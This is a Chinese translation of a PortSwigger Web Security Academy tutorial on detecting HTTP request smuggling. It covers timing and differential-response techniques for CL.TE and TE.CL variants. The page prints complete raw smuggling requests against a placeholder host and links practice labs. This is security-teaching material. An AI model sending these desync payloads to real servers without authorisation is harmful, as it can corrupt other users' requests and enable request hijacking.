查找HTTP请求走私漏洞
翻译
原文：https://portswigger.net/web-security/request-smuggling/finding
- name: 翻译
desc: 原文：https://portswigger.net/web-security/request-smuggling/finding
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 1查找HTTP请求走私漏洞
在本节中，我们将介绍用于查找 HTTP 请求走私漏洞的不同技术。
# 2使用计时技术查找HTTP请求走私漏洞
检测 HTTP 请求走私漏洞的最普遍有效方法 - 发送请求，如果存在漏洞，则会导致应用程序响应出现时间延迟。Burp Scanner (opens new window) 使用此类技术来自动检测请求走私漏洞。
# 2.1使用计时技术查找CL.TE漏洞
如果应用程序容易受到请求走私的 CL.TE 变体攻击，则发送如下请求通常会导致时间延迟：
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X由于前端服务器使用Content-Length标头，因此它只会转发此请求的一部分，省略X。后端服务器使用Transfer-Encoding标头，处理第一个区块，然后等待下一个区块到达。这将导致明显的时间延迟。
# 2.2使用计时技术查找TE.CL漏洞
如果应用程序容易受到请求走私的 TE.CL 变体攻击，则发送如下请求通常会导致时间延迟：
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X由于前端服务器使用Transfer-Encoding标头，因此它只会转发此请求的一部分，省略X。后端服务器使用Content-Length标头，期望消息正文中有更多内容，并等待剩余内容到达。这将导致明显的时间延迟。
笔记
如果应用程序容易受到 CL.TE 变体攻击，则基于时间的 TE.CL 测试可能会中断其他应用程序用户。因此，为了隐秘且最大限度地减少干扰，你应该首先进行 CL.TE 测试，只有在测试不成功时才继续 TE.CL 测试。
# 3通过响应差异来确定HTTP请求走私漏洞
当检测到可能的请求走私漏洞时，你可以利用该漏洞触发应用程序响应内容的差异，从而获取该漏洞的进一步证据。这涉及到 快速连续地向应用程序发送两个请求：
- “攻击” 请求，用于干扰下一个请求的处理。
- “正常” 请求。
如果在正常请求的响应中，包含预期的干扰，则确认存在漏洞。
例如，假设正常请求看起来像这样：
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
2
3
4
5
6
此请求通常会收到状态码为 200 的 HTTP 响应，其中包含一些搜索结果。
实现干扰的攻击请求，取决于发现的请求走私变体：CL.TE vs TE.CL。
# 3.1使用响应差异确认CL.TE漏洞
要确认 CL.TE 漏洞，你可以发送如下攻击请求：
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x如果攻击成功，则后端服务器会将此请求的最后两行，视为下一个请求的一部分。这将导致后续的 “正常” 请求看起来像这样：
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling现在，由于此请求包含无效的 URL，因此服务器将以状态码 404 进行响应，表明攻击请求确实干扰了它。
- name: 实验室-从业者
desc: HTTP请求走私-通过响应差异确认CL.TE漏洞 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 3.2使用响应差异确认TE.CL漏洞
要确认 TE.CL 漏洞，你可以发送如下攻击请求：
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0笔记
想要通过 Burp Repeater 发送此请求，你首先需要转到 Repeater 菜单并确保未勾选 “Update Content-Length” 选项。
你还需要在最后一个0的后面包含序列\r\n\r\n。
如果攻击成功，则后端服务器会将GET /404之后的所有内容，都视为下一个请求的一部分。这将导致后续的 “正常” 请求看起来像这样：
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling现在，由于此请求包含无效的 URL，因此服务器将以状态码 404 进行响应，表明攻击请求确实干扰了它。
- name: 实验室-从业者
desc: HTTP请求走私-通过响应差异确认TE.CL漏洞 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
笔记
当你试图干扰其他请求 来确认请求走私漏洞时，还应牢记一些重要注意事项：
- “攻击” 请求和 “正常” 请求，两者应该通过不同的网络连接发送到服务器。通过同一连接发送两个请求并不能证明漏洞存在。
- “攻击” 请求和 “正常” 请求，两者应尽可能使用相同的 URL 和参数名称。这是因为许多现代应用程序会根据 URL 和参数的不同，来将前端请求路由到不同的后端服务器。使用相同的 URL 和参数可以增加同一后端服务器处理请求的机会，这对攻击是否有效起到了重要作用。
- 在测试 “正常” 请求以试图获取来自 “攻击” 请求的任何干扰时，同一时间内，你将与应用程序接收到的任何其他请求（包括来自其他用户的请求）进行竞争。你应该在 “攻击” 请求之后立即发送 “正常” 请求。如果应用程序繁忙，你可能需要执行多次尝试来确认漏洞。
- 在一些应用中，前端服务器充当负载均衡器，它会根据某种负载均衡算法 将请求转发到不同的后端系统。如果你的 “攻击” 和 “正常” 请求被转发到不同的后端系统，则攻击将会失败。这也是你需要多次尝试才能确认漏洞的另一个原因。
- 如果你的攻击成功干扰了后续请求，但你发现你的 “正常” 请求并不是你为检测干扰而发送的，这意味着另一个应用程序用户受到了你的攻击影响。如果你继续执行测试，可能会对其他用户造成破坏性影响，应谨慎行事。